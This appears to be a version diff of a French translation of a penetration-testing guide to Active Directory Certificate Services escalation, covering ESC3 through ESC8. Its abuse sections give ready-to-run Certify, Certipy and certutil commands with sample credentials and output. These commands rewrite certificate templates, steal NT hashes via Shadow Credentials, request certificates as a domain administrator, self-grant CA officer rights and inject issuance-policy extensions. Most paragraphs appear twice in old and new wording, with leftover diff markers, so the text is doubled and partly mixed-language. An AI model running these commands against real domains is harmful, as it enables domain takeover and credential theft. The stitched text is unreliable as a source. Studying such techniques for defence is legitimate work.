Les **utilisateurs** autorisés à **obtenir** un **enrollment agent certificate**, les modèles dans lesquels les **enrollment agents** sont autorisés à s'enregistrer, et les **comptes** au nom desquels l'enrollment agent peut agir peuvent être restreints par les CA d'entreprise. Cela se fait en ouvrant le **snap-in** `certsrc.msc`, en **cliquant droit sur la CA**, en **cliquant sur Properties**, puis en **naviguant** vers l'onglet « Enrollment Agents ».
|
||||
|
||||
Cependant, il est à noter que le paramètre **par défaut** des CAs est « **Do not restrict enrollment agents**. » Lorsque la restriction sur les enrollment agents est activée par les administrateurs, en la réglant sur “Restrict enrollment agents,” la configuration par défaut reste extrêmement permissive. Elle permet à **Everyone** de s'inscrire sur tous les modèles en tant que n'importe qui.
|
||||
Cependant, il est à noter que le paramètre **par défaut** des CA est « **Do not restrict enrollment agents** ». Lorsque la restriction des agents d'enrôlement est activée par les administrateurs, en la réglant sur « Restrict enrollment agents », la configuration par défaut reste extrêmement permissive. Elle permet à **Everyone** de s'enregistrer sur tous les modèles en tant que n'importe qui.
|
||||
|
||||
## Contrôle d'accès vulnérable du modèle de certificat - ESC4
|
||||
## Contrôle d'accès des modèles de certificats vulnérable - ESC4
|
||||
|
||||
### **Explication**
|
||||
|
||||
Le **security descriptor** sur les **certificate templates** définit les **permissions** que possèdent des **AD principals** spécifiques concernant le modèle.
|
||||
Le **security descriptor** des **certificate templates** définit les **permissions** que possèdent les **AD principals** concernant le modèle.
|
||||
|
||||
Si un **attaquant** possède les **permissions** requises pour **modifier** un **template** et **instaurer** l'une des **mésconfigurations exploitables** décrites dans les sections précédentes, une escalade de privilèges pourrait être facilitée.
|
||||
Si un **attacker** possède les **permissions** requises pour **modifier** un **template** et **instaurer** des **misconfigurations exploitables** décrites dans les **sections précédentes**, une élévation de privilèges pourrait être facilitée.
|
||||
|
||||
Parmi les permissions notables applicables aux certificate templates figurent :
|
||||
Les permissions notables applicables aux certificate templates incluent :
|
||||
|
||||
- **Owner:** Accorde le contrôle implicite sur l'objet, permettant la modification de n'importe quel attribut.
|
||||
- **FullControl:** Donne une autorité complète sur l'objet, incluant la capacité de modifier tous les attributs.
|
||||
- **WriteOwner:** Permet de changer le propriétaire de l'objet pour un principal contrôlé par l'attaquant.
|
||||
- **WriteDacl:** Autorise l'ajustement des contrôles d'accès, pouvant potentiellement accorder FullControl à un attaquant.
|
||||
- **Owner:** Accorde un contrôle implicite sur l'objet, permettant la modification de n'importe quel attribut.
|
||||
- **FullControl:** Permet une autorité complète sur l'objet, y compris la capacité de modifier n'importe quel attribut.
|
||||
- **WriteOwner:** Autorise la modification du propriétaire de l'objet vers un principal sous le contrôle de l'**attacker**.
|
||||
- **WriteDacl:** Permet l'ajustement des contrôles d'accès, pouvant potentiellement accorder à un **attacker** le **FullControl**.
|
||||
- **WriteProperty:** Autorise la modification de n'importe quelle propriété de l'objet.
|
||||
|
||||
### Abus
|
||||
|
||||
Pour identifier les principals ayant des droits d'édition sur les templates et autres objets PKI, énumérez avec Certify:
|
||||
Pour identifier les principals ayant des droits d'édition sur les templates et autres objets PKI, énumérez avec Certify :
|
||||
```bash
|
||||
Certify.exe find /showAllPermissions
|
||||
Certify.exe pkiobjects /domain:corp.local /showAdmins
|
||||
```
|
||||
Un exemple de privesc similaire au précédent :
|
||||
|
||||
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4 correspond à un cas où un utilisateur possède des privilèges d'écriture sur un template de certificat. Cela peut, par exemple, être abusé pour écraser la configuration du template de certificat afin de rendre le template vulnérable à ESC1.
|
||||
ESC4 correspond à un cas où un utilisateur possède des droits d'écriture sur un modèle de certificat. Cela peut, par exemple, être abusé pour écraser la configuration du modèle de certificat afin de rendre le modèle vulnérable à ESC1.
|
||||
|
||||
Comme on peut le voir dans le chemin ci‑dessus, seul `JOHNPC` possède ces privilèges, mais notre utilisateur `JOHN` possède le nouveau lien `AddKeyCredentialLink` vers `JOHNPC`. Puisque cette technique est liée aux certificats, j'ai implémenté cette attaque également, connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le NT hash de la victime.
|
||||
Comme on peut le voir dans le chemin ci‑dessus, seul `JOHNPC` possède ces privilèges, mais notre utilisateur `JOHN` a le nouveau lien `AddKeyCredentialLink` vers `JOHNPC`. Puisque cette technique est liée aux certificats, j'ai également implémenté cette attaque, connue sous le nom de [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Voici un petit aperçu de la commande `shadow auto` de Certipy pour récupérer le NT hash de la victime.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy** peut écraser la configuration d'un modèle de certificat avec une seule commande. Par **défaut**, Certipy va **écraser** la configuration pour la rendre **vulnérable à ESC1**. Nous pouvons aussi spécifier **le paramètre `-save-old` pour sauvegarder l'ancienne configuration**, ce qui sera utile pour **restaurer** la configuration après notre attaque.
|
||||
**Certipy** peut écraser la configuration d'un modèle de certificat avec une seule commande. Par **défaut**, Certipy va **écraser** la configuration pour la rendre **vulnérable à ESC1**. Nous pouvons aussi spécifier le **paramètre `-save-old` pour sauvegarder l'ancienne configuration**, ce qui sera utile pour **restaurer** la configuration après notre attaque.
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
@ -177,31 +177,31 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
|
||||
```
|
||||
## Vulnerable PKI Object Access Control - ESC5
|
||||
|
||||
### Explanation
|
||||
### Explication
|
||||
|
||||
L'importante toile de relations interconnectées basées sur les ACL, qui inclut plusieurs objets au-delà des certificate templates et de la certificate authority, peut impacter la sécurité de l'ensemble du système AD CS. Ces objets, qui peuvent affecter significativement la sécurité, comprennent :
|
||||
L'étendue des relations interconnectées basées sur les ACL, qui inclut plusieurs objets au-delà des certificate templates et de la certificate authority, peut affecter la sécurité de l'ensemble du système AD CS. Ces objets, qui peuvent avoir un impact significatif sur la sécurité, comprennent :
|
||||
|
||||
- L'AD computer object du serveur CA, qui peut être compromis via des mécanismes comme S4U2Self ou S4U2Proxy.
|
||||
- Le serveur RPC/DCOM du serveur CA.
|
||||
- Tout AD object descendant ou conteneur situé dans le chemin de conteneur spécifique `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ce chemin inclut, sans s'y limiter, des conteneurs et objets tels que le Certificate Templates container, Certification Authorities container, l'objet NTAuthCertificates, et l'Enrollment Services Container.
|
||||
- Le RPC/DCOM server du serveur CA.
|
||||
- Tout AD object descendant ou container situé dans le chemin de container spécifique `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Ce chemin inclut, sans s'y limiter, des containers et objets tels que le Certificate Templates container, le Certification Authorities container, l'objet NTAuthCertificates, et l'Enrollment Services Container.
|
||||
|
||||
La sécurité du système PKI peut être compromise si un attaquant à faibles privilèges parvient à prendre le contrôle de l'un de ces composants critiques.
|
||||
|
||||
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
||||
|
||||
### Explanation
|
||||
### Explication
|
||||
|
||||
Le sujet abordé dans le [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) traite également des implications du flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, telles que décrites par Microsoft. Cette configuration, lorsqu'elle est activée sur une Certification Authority (CA), permet l'inclusion de **valeurs définies par l'utilisateur** dans le **nom alternatif du sujet (subject alternative name)** pour **toute demande**, y compris celles construites depuis Active Directory®. Par conséquent, cette disposition permet à un **attaquant** de s'inscrire via **n'importe quel template** configuré pour l'**authentication** de domaine — spécifiquement ceux ouverts à l'enrollment d'utilisateurs **non privilégiés**, comme le standard User template. En résultante, un certificat peut être obtenu, permettant à l'attaquant de s'authentifier en tant qu'administrateur de domaine ou **toute autre entité active** dans le domaine.
|
||||
Le sujet abordé dans la [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) traite également des implications du flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, telles que décrites par Microsoft. Cette configuration, lorsqu'elle est activée sur une Certification Authority (CA), permet l'inclusion de **valeurs définies par l'utilisateur** dans le **subject alternative name** pour **toute requête**, y compris celles construites à partir d'Active Directory®. Par conséquent, cette disposition permet à un **intrus** de s'enregistrer via **n'importe quel template** configuré pour l'**authentication** de domaine — en particulier ceux ouverts à l'enrollment d'utilisateurs **non privilégiés**, comme le template User standard. En résultat, un certificat peut être délivré, permettant à l'intrus de s'authentifier en tant qu'administrateur de domaine ou **toute autre entité active** au sein du domaine.
|
||||
|
||||
**Note** : La méthode pour ajouter des **alternative names** dans une Demande de signature de certificat (CSR), via l'argument `-attrib "SAN:"` dans `certreq.exe` (appelés “Name Value Pairs”), contraste avec la stratégie d'exploitation des SANs en ESC1. Ici, la différence réside dans la manière dont l'information de compte est encapsulée — au sein d'un attribut de certificat, plutôt que dans une extension.
|
||||
**Note** : L'approche pour ajouter des **alternative names** dans une Certificate Signing Request (CSR), via l'argument `-attrib "SAN:"` dans `certreq.exe` (appelé “Name Value Pairs”), contraste avec la stratégie d'exploitation des SANs décrite en ESC1. Ici, la distinction réside dans la manière dont les informations de compte sont encapsulées — au sein d'un attribut de certificat, plutôt que dans une extension.
|
||||
|
||||
### Abuse
|
||||
### Abus
|
||||
|
||||
Pour vérifier si le réglage est activé, les organisations peuvent utiliser la commande suivante avec `certutil.exe` :
|
||||
Pour vérifier si le paramètre est activé, les organisations peuvent utiliser la commande suivante avec `certutil.exe` :
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
||||
```
|
||||
Cette opération emploie essentiellement **remote registry access**, donc une approche alternative pourrait être :
|
||||
Cette opération utilise essentiellement **remote registry access**, donc une approche alternative pourrait être :
|
||||
```bash
|
||||
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
||||
```
|
||||
@ -214,7 +214,7 @@ Certify.exe find
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
||||
```
|
||||
Pour modifier ces paramètres, en supposant que l'on possède les droits **d'administrateur de domaine** ou équivalents, la commande suivante peut être exécutée depuis n'importe quel poste de travail :
|
||||
Pour modifier ces paramètres, en supposant que l'on possède les **droits d'administrateur de domaine** ou l'équivalent, la commande suivante peut être exécutée depuis n'importe quel poste de travail :
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
@ -223,28 +223,28 @@ Pour désactiver cette configuration dans votre environnement, le flag peut êtr
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
> [!WARNING]
|
||||
> Après les mises à jour de sécurité de mai 2022, les **certificates** nouvellement délivrés contiendront une **security extension** qui intègre la **propriété `objectSid` du demandeur**. Pour ESC1, ce SID est dérivé du SAN spécifié. Cependant, pour **ESC6**, le SID reflète la **propriété `objectSid` du demandeur**, et non le SAN.\
|
||||
> Pour exploiter ESC6, il est essentiel que le système soit susceptible à ESC10 (Weak Certificate Mappings), qui privilégie le **SAN par rapport à la nouvelle security extension**.
|
||||
> Après les mises à jour de sécurité de mai 2022, les **certificates** nouvellement émis contiendront une **security extension** qui incorpore la **requester's `objectSid` property**. Pour ESC1, ce SID est dérivé du SAN spécifié. Cependant, pour **ESC6**, le SID reflète le **requester's `objectSid`**, et non le SAN.\
|
||||
> Pour exploiter ESC6, il est essentiel que le système soit susceptible à ESC10 (Weak Certificate Mappings), qui privilégie le **SAN over the new security extension**.
|
||||
|
||||
## Contrôle d'accès vulnérable du Certificate Authority - ESC7
|
||||
## Contrôle d'accès vulnérable de la Certificate Authority - ESC7
|
||||
|
||||
### Attack 1
|
||||
### Attaque 1
|
||||
|
||||
#### Explication
|
||||
|
||||
Le contrôle d'accès d'une certificate authority est maintenu par un ensemble d'autorisations qui régissent les actions du CA. Ces autorisations peuvent être consultées en ouvrant `certsrv.msc`, en faisant un clic droit sur une CA, en sélectionnant Propriétés, puis en accédant à l'onglet Sécurité. De plus, les autorisations peuvent être énumérées à l'aide du module PSPKI avec des commandes telles que:
|
||||
Le contrôle d'accès d'une Certificate Authority est assuré par un ensemble de permissions qui régissent les actions du CA. Ces permissions peuvent être consultées en ouvrant `certsrv.msc`, en faisant un clic droit sur une CA, en sélectionnant Propriétés, puis en allant dans l'onglet Sécurité. De plus, les permissions peuvent être énumérées à l'aide du module PSPKI avec des commandes telles que:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
This fournit des informations sur les droits principaux, à savoir **`ManageCA`** et **`ManageCertificates`**, correspondant respectivement aux rôles « administrateur de la CA » et « gestionnaire de certificats ».
|
||||
Cela fournit des informations sur les droits principaux, à savoir **`ManageCA`** et **`ManageCertificates`**, correspondant aux rôles de “CA administrator” et “Certificate Manager” respectivement.
|
||||
|
||||
#### Abuse
|
||||
#### Abus
|
||||
|
||||
Détenir les droits **`ManageCA`** sur une autorité de certification permet au principal de modifier les paramètres à distance via PSPKI. Cela inclut l'activation du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`** pour autoriser la spécification du SAN dans n'importe quel modèle, un aspect critique de l'escalade de domaine.
|
||||
Disposer des droits **`ManageCA`** sur une autorité de certification permet au principal de modifier les paramètres à distance via PSPKI. Cela inclut le basculement du drapeau **`EDITF_ATTRIBUTESUBJECTALTNAME2`** pour autoriser la spécification de SAN dans n'importe quel modèle, un aspect critique de l'escalade de domaine.
|
||||
|
||||
Ce processus peut être simplifié en utilisant le cmdlet **Enable-PolicyModuleFlag** de PSPKI, permettant des modifications sans interaction directe avec l'interface graphique.
|
||||
Ce processus peut être simplifié en utilisant le cmdlet **Enable-PolicyModuleFlag** de PSPKI, permettant des modifications sans interaction directe avec la GUI.
|
||||
|
||||
La possession des droits **`ManageCertificates`** facilite l'approbation des requêtes en attente, contournant efficacement la protection "CA certificate manager approval".
|
||||
La possession des droits **`ManageCertificates`** facilite l'approbation des requêtes en attente, contournant effectivement la protection "CA certificate manager approval".
|
||||
|
||||
Une combinaison des modules **Certify** et **PSPKI** peut être utilisée pour demander, approuver et télécharger un certificat :
|
||||
```bash
|
||||
@ -262,33 +262,33 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R
|
||||
# Download the certificate
|
||||
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
||||
```
|
||||
### Attaque 2
|
||||
### Attack 2
|
||||
|
||||
#### Explication
|
||||
|
||||
> [!WARNING]
|
||||
> Dans la **attaque précédente** la permission **`Manage CA`** a été utilisée pour **activer** le flag **EDITF_ATTRIBUTESUBJECTALTNAME2** afin d'exécuter l'**attaque ESC6**, mais cela n'aura aucun effet tant que le service CA (`CertSvc`) n'aura pas été redémarré. Lorsqu'un utilisateur possède le droit d'accès `Manage CA`, il est également autorisé à **redémarrer le service**. Cependant, cela **ne signifie pas que l'utilisateur peut redémarrer le service à distance**. De plus, **ESC6 pourrait ne pas fonctionner tel quel** dans la plupart des environnements patchés en raison des mises à jour de sécurité de mai 2022.
|
||||
> Dans l'**attaque précédente**, les permissions **`Manage CA`** ont été utilisées pour **activer** le flag **EDITF_ATTRIBUTESUBJECTALTNAME2** afin d'exécuter l'**ESC6 attack**, mais cela n'aura aucun effet tant que le service CA (`CertSvc`) n'aura pas été redémarré. Lorsqu'un utilisateur possède le droit d'accès `Manage CA`, il est également autorisé à **redémarrer le service**. Cependant, cela **ne signifie pas que l'utilisateur peut redémarrer le service à distance**. De plus, **ESC6 pourrait ne pas fonctionner immédiatement** dans la plupart des environnements patchés en raison des mises à jour de sécurité de mai 2022.
|
||||
|
||||
Une autre attaque est donc présentée ici.
|
||||
Par conséquent, une autre attaque est présentée ici.
|
||||
|
||||
Prérequis:
|
||||
|
||||
- Seulement la **permission `ManageCA`**
|
||||
- La permission **`Manage Certificates`** (peut être accordée via **`ManageCA`**)
|
||||
- Le modèle de certificat **`SubCA`** doit être **activé** (peut être activé via **`ManageCA`**)
|
||||
- Uniquement la **`ManageCA` permission**
|
||||
- La **`Manage Certificates`** permission (peut être accordée depuis **`ManageCA`**)
|
||||
- Le template de certificat **`SubCA`** doit être **activé** (peut être activé depuis **`ManageCA`**)
|
||||
|
||||
La technique repose sur le fait que les utilisateurs disposant du droit d'accès `Manage CA` _et_ `Manage Certificates` peuvent **émettre des requêtes de certificat échouées**. Le modèle de certificat **`SubCA`** est **vulnérable à ESC1**, mais **seuls les administrateurs** peuvent s'inscrire pour ce modèle. Ainsi, un **utilisateur** peut **demander** à s'inscrire pour le **`SubCA`** - qui sera **refusé** - mais **ensuite délivré par le gestionnaire**.
|
||||
La technique repose sur le fait que les utilisateurs disposant des droits d'accès `Manage CA` _et_ `Manage Certificates` peuvent **soumettre des demandes de certificats qui échouent**. Le template de certificat **`SubCA`** est **vulnérable à ESC1**, mais **seuls les administrateurs** peuvent s'inscrire sur ce template. Ainsi, un **utilisateur** peut **demander** l'enrôlement dans **`SubCA`** — ce qui sera **refusé** — mais **sera ensuite délivré par le responsable**.
|
||||
|
||||
#### Abus
|
||||
|
||||
Vous pouvez **vous accorder le droit d'accès `Manage Certificates`** en ajoutant votre utilisateur comme nouvel officier.
|
||||
Vous pouvez **vous accorder le droit d'accès `Manage Certificates`** en ajoutant votre utilisateur en tant que nouvel agent.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
||||
```
|
||||
Le **`SubCA`** template peut être **activé sur la CA** avec le paramètre `-enable-template`. Par défaut, le template `SubCA` est activé.
|
||||
Le modèle **`SubCA`** peut être **activé sur la CA** avec le paramètre `-enable-template`. Par défaut, le modèle `SubCA` est activé.
|
||||
```bash
|
||||
# List templates
|
||||
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
||||
@ -302,7 +302,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
```
|
||||
Si nous avons rempli les prérequis pour cette attaque, nous pouvons commencer par **demander un certificat basé sur le modèle `SubCA`**.
|
||||
|
||||
**Cette demande sera refusée**, mais nous sauvegarderons la private key et noterons le request ID.
|
||||
**Cette requête sera refusée**, mais nous conserverons la clé privée et noterons l'ID de la requête.
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -314,7 +314,7 @@ Would you like to save the private key? (y/N) y
|
||||
[*] Saved private key to 785.key
|
||||
[-] Failed to request certificate
|
||||
```
|
||||
Avec nos **`Manage CA` et `Manage Certificates`**, nous pouvons alors **émettre la requête de certificat échouée** avec la commande `ca` et le paramètre `-issue-request <request ID>`.
|
||||
Avec nos **`Manage CA` and `Manage Certificates`**, nous pouvons ensuite **émettre la demande de certificat échouée** avec la commande `ca` et le paramètre `-issue-request <request ID>`.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -333,68 +333,68 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
### Attaque 3 – Manage Certificates Extension Abuse (SetExtension)
|
||||
### Attaque 3 – Abus de l'extension Manage Certificates (SetExtension)
|
||||
|
||||
#### Explication
|
||||
|
||||
En plus des abus classiques d'ESC7 (activation des attributs EDITF ou approbation des demandes en attente), **Certify 2.0** a révélé une primitive entièrement nouvelle qui ne nécessite que le rôle *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) sur l'Enterprise CA.
|
||||
En plus des abus classiques d'ESC7 (activation des attributs EDITF ou approbation des requêtes en attente), **Certify 2.0** a révélé un nouveau primitive qui ne nécessite que le rôle *Manage Certificates* (alias **Certificate Manager / Officer**) sur la CA d'entreprise.
|
||||
|
||||
La méthode RPC `ICertAdmin::SetExtension` peut être exécutée par n'importe quel principal disposant de *Manage Certificates*. Alors que la méthode était traditionnellement utilisée par des CA légitimes pour mettre à jour des extensions sur des requêtes **en attente**, un attaquant peut l'abuser pour **ajouter une extension de certificat *non par défaut*** (par exemple un OID personnalisé de *Certificate Issuance Policy* tel que `1.1.1.1`) à une requête qui attend une approbation.
|
||||
La méthode RPC `ICertAdmin::SetExtension` peut être exécutée par n'importe quel principal disposant de *Manage Certificates*. Alors que la méthode était traditionnellement utilisée par les CA légitimes pour mettre à jour des extensions sur des requêtes **en attente**, un attaquant peut l'abuser pour **ajouter une extension de certificat *non-par défaut*** (par exemple un OID personnalisé de *Certificate Issuance Policy* comme `1.1.1.1`) à une requête en attente d'approbation.
|
||||
|
||||
Parce que le template ciblé ne définit **pas de valeur par défaut pour cette extension**, la CA n'écrasera PAS la valeur contrôlée par l'attaquant lorsque la requête sera finalement émise. Le certificat résultant contient donc une extension choisie par l'attaquant qui peut :
|
||||
Parce que le template ciblé **ne définit pas de valeur par défaut pour cette extension**, la CA ne remplacera PAS la valeur contrôlée par l'attaquant lorsque la requête sera finalement émise. Le certificat résultant contient donc une extension choisie par l'attaquant qui peut :
|
||||
|
||||
* Satisfaire les exigences d'Application / Issuance Policy d'autres templates vulnérables (conduisant à une escalade de privilèges).
|
||||
* Injecter des EKU supplémentaires ou des policies qui accordent au certificat une confiance inattendue dans des systèmes tiers.
|
||||
* Satisfaire les exigences d'Application / Issuance Policy d'autres templates vulnérables (conduisant à une élévation de privilèges).
|
||||
* Injecter des EKU ou des policies supplémentaires accordant au certificat une confiance inattendue dans des systèmes tiers.
|
||||
|
||||
En bref, *Manage Certificates* — auparavant considéré comme la « moitié moins puissante » d'ESC7 — peut maintenant être exploité pour une escalade de privilèges complète ou une persistance long terme, sans toucher à la configuration de la CA ni exiger le droit plus restrictif *Manage CA*.
|
||||
En bref, *Manage Certificates* — précédemment considéré comme la moitié « moins puissante » d'ESC7 — peut désormais être exploité pour une élévation de privilèges complète ou une persistance à long terme, sans toucher à la configuration de la CA ni nécessiter le droit plus restrictif *Manage CA*.
|
||||
|
||||
#### Abuser de la primitive avec Certify 2.0
|
||||
#### Abuser du primitive avec Certify 2.0
|
||||
|
||||
1. **Soumettre une requête de certificat qui restera *en attente*.** Cela peut être forcé avec un template qui requiert l'approbation d'un manager :
|
||||
1. **Soumettez une requête de certificat qui restera *en attente*.** Ceci peut être forcé avec un template qui requiert l'approbation d'un manager :
|
||||
```powershell
|
||||
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
|
||||
# Take note of the returned Request ID
|
||||
```
|
||||
|
||||
2. **Ajouter une extension personnalisée à la requête en attente** en utilisant la nouvelle commande `manage-ca` :
|
||||
2. **Ajoutez une extension personnalisée à la requête en attente** en utilisant la nouvelle commande `manage-ca` :
|
||||
```powershell
|
||||
Certify.exe manage-ca --ca SERVER\\CA-NAME \
|
||||
--request-id 1337 \
|
||||
--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID
|
||||
```
|
||||
*Si le template ne définit pas déjà l'extension *Certificate Issuance Policies*, la valeur ci‑dessus sera conservée après l'émission.*
|
||||
*If the template does not already define the *Certificate Issuance Policies* extension, the value above will be preserved after issuance.*
|
||||
|
||||
3. **Émettre la requête** (si votre rôle dispose également des droits d'approbation *Manage Certificates*) ou attendre qu'un opérateur l'approuve. Une fois émise, télécharger le certificat :
|
||||
3. **Émettez la requête** (si votre rôle a aussi les droits d'approbation *Manage Certificates*) ou attendez qu'un opérateur l'approuve. Une fois émise, téléchargez le certificat :
|
||||
```powershell
|
||||
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
|
||||
```
|
||||
|
||||
4. Le certificat résultant contient maintenant l'OID d'issuance-policy malveillant et peut être utilisé dans des attaques ultérieures (p.ex. ESC13, escalade de domaine, etc.).
|
||||
4. Le certificat obtenu contient maintenant l'OID malveillant de policy d'émission et peut être utilisé dans des attaques ultérieures (par ex. ESC13, escalade de domaine, etc.).
|
||||
|
||||
> NOTE: La même attaque peut être exécutée avec Certipy ≥ 4.7 via la commande `ca` et le paramètre `-set-extension`.
|
||||
> NOTE: The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter.
|
||||
|
||||
## NTLM Relay vers les endpoints HTTP d'AD CS – ESC8
|
||||
## NTLM Relay to AD CS HTTP Endpoints – ESC8
|
||||
|
||||
### Explication
|
||||
|
||||
> [!TIP]
|
||||
> Dans des environnements où **AD CS est installé**, s'il existe un **endpoint d'enrôlement web vulnérable** et qu'au moins un **certificate template est publié** qui permet **l'enrollment des ordinateurs de domaine et l'authentification client** (comme le template par défaut **`Machine`**), il devient possible pour **n'importe quel ordinateur avec le service spooler actif d'être compromis par un attaquant** !
|
||||
> Dans des environnements où **AD CS est installé**, si existe un **endpoint d'enrôlement web vulnérable** et qu'au moins un **template de certificat publié** autorise **l'enrôlement des ordinateurs de domaine et l'authentification client** (comme le template par défaut **`Machine`**), il devient possible que **n'importe quel ordinateur avec le service spooler actif soit compromis par un attaquant** !
|
||||
|
||||
Plusieurs **méthodes d'enrôlement basées sur HTTP** sont supportées par AD CS, mises à disposition via des rôles serveur additionnels que les administrateurs peuvent installer. Ces interfaces pour l'enrôlement par HTTP sont susceptibles aux **attaques de relais NTLM**. Un attaquant, depuis une **machine compromise**, peut usurper n'importe quel compte AD qui s'authentifie via NTLM entrant. En usurpant le compte victime, ces interfaces web peuvent être accédées par l'attaquant pour **demander un certificat d'authentification client** en utilisant les templates `User` ou `Machine`.
|
||||
Plusieurs **méthodes d'enrôlement basées sur HTTP** sont prises en charge par AD CS, rendues disponibles via des rôles de serveur additionnels que les administrateurs peuvent installer. Ces interfaces d'enrôlement HTTP sont vulnérables aux **attaques de relay NTLM**. Un attaquant, depuis une **machine compromise**, peut usurper n'importe quel compte AD qui s'authentifie via NTLM entrant. En usurpant le compte victime, ces interfaces web peuvent être utilisées par un attaquant pour **demander un certificat d'authentification client en utilisant les templates `User` ou `Machine`**.
|
||||
|
||||
- L'**interface web d'enrôlement** (une ancienne application ASP disponible à `http://<caserver>/certsrv/`), est par défaut en HTTP uniquement, ce qui n'offre aucune protection contre les attaques de relais NTLM. De plus, elle permet explicitement uniquement NTLM via son en-tête Authorization HTTP, rendant les méthodes d'authentification plus sûres comme Kerberos inapplicables.
|
||||
- Le **Certificate Enrollment Service** (CES), le **Certificate Enrollment Policy** (CEP) Web Service, et le **Network Device Enrollment Service** (NDES) acceptent par défaut l'authentification negotiate via leur en-tête Authorization HTTP. L'authentification negotiate **supporte à la fois** Kerberos et **NTLM**, permettant à un attaquant de **downgrader vers NTLM** lors d'attaques de relais. Bien que ces services web activent HTTPS par défaut, HTTPS seul **ne protège pas contre les attaques de relais NTLM**. La protection contre les attaques de relais NTLM pour des services HTTPS n'est possible que lorsque HTTPS est combiné avec channel binding. Malheureusement, AD CS n'active pas Extended Protection for Authentication sur IIS, ce qui est requis pour channel binding.
|
||||
- L'**interface d'enrôlement web** (une application ASP plus ancienne disponible à `http://<caserver>/certsrv/`), fonctionne par défaut en HTTP uniquement, ce qui n'offre aucune protection contre les attaques de relay NTLM. De plus, elle n'autorise explicitement que NTLM via son en-tête Authorization HTTP, rendant les méthodes d'authentification plus sécurisées comme Kerberos inapplicables.
|
||||
- Le **Certificate Enrollment Service** (CES), le **Certificate Enrollment Policy** (CEP) Web Service, et le **Network Device Enrollment Service** (NDES) supportent par défaut la negotiate authentication via leur en-tête Authorization HTTP. La negotiate authentication **supporte à la fois** Kerberos et **NTLM**, permettant à un attaquant de **dégrader vers NTLM** lors d'attaques de relay. Bien que ces services web activent HTTPS par défaut, HTTPS seul **ne protège pas contre les attaques de relay NTLM**. La protection contre le relay NTLM pour les services HTTPS n'est possible que lorsque HTTPS est combiné avec le channel binding. Malheureusement, AD CS n'active pas Extended Protection for Authentication sur IIS, qui est requise pour le channel binding.
|
||||
|
||||
Un **problème** courant avec les attaques de relais NTLM est la **courte durée des sessions NTLM** et l'incapacité de l'attaquant à interagir avec des services qui **exigent NTLM signing**.
|
||||
Un problème courant des attaques de relay NTLM est la **courte durée des sessions NTLM** et l'incapacité de l'attaquant à interagir avec des services qui **exigent le signing NTLM**.
|
||||
|
||||
Néanmoins, cette limitation est contournée en exploitant une attaque de relais NTLM pour obtenir un certificat pour l'utilisateur, car la période de validité du certificat dicte la durée de la session, et le certificat peut être employé avec des services qui **exigent NTLM signing**. Pour des instructions sur l'utilisation d'un certificat volé, se référer à :
|
||||
